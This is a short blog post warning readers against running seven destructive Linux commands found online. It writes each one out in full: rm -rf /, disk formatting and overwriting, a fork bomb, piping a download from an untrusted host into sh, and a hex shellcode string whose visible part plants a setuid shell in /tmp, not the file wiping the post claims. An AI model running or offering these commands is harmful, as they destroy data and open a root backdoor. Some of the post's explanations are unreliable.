If you often read many of blog posts or user posts in forum or social media, you should be aware when he/she advised you to run such a command on Terminal because the command you run might be harmful for your system. Today I'd like to share you 7 most dangerous Linux commands to you. Enjoy :)
This command will delete your entire files on mounted devices! Here is the demo video about what will you get after running this command:
- rm -rf / #with root privilege such as 'sudo'
Second command:
Hexadecimal code! Same as the first command, it will delete entire files on your mounted devices.
- char esp[] __attribute__ ((section(".text"))) /* e.s.p
- release */
- = "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68"
- "\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99"
- "\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7"
- "\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56"
- "\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31"
- "\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69"
- "\x6e\x2f\x73\x68\x00\x2d\x63\x00"
- "cp -p /bin/sh /tmp/.beyond; chmod 4755
- /tmp/.beyond;";
Third command:
- mkfs.ext3 /dev/sda
This command will format your /dev/sda device and of course will delete all files on it.
Fourth command:
- :(){:|:&};:
Will run too many processes on your system and causes the computer hang up!
Fifth command:
- any_command > /dev/sda
Will write a raw data and all files on /dev/sda will be replaced by the raw data.
Sixth command:
- wget http://sumber_tak_terpercaya -O- | sh
Wil download a shell script from untrusted source and run it when the download finished.
Seventh command:
- mv /home/username/* /dev/null
Will move home directory to a place that actually doesn't exist. In other words, it will delete your home directory.
So be careful and do a check before running such commands on your system.
Regards.
